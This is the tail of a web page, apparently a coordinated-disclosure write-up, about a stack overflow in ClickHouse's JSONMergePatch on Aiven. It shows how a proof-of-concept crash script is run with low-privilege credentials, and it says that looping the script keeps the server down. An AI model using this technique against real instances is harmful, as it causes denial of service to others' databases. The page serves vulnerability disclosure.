USER=&quot;&lt;select-only-user&gt;&quot;
496
PASS=&quot;&lt;password&gt;&quot;
497
./aiven/poc/clickhouse-crash.sh &quot;$HOST&quot; &quot;$USER&quot; &quot;$PASS&quot;
498
</code></pre>
499
<p>The script issues one <code>SELECT JSONMergePatch(...)</code> with two deeply nested
500
JSON arguments. The server SIGSEGVs; orchestration brings it back in 8-23
501
seconds. Loop the script and the instance never stays up long enough to
502
serve real queries.</p>
503
<hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source &middot; github.com/zionboggan/security-research-notebook &middot; writeups/aiven-clickhouse-jsonmergepatch-stack-overflow.md</p>
504
</div></div></section>
505
<footer><div class="wrap row">
506
  <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div>
507
  <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div>
508
</div></footer>
509
</body></html>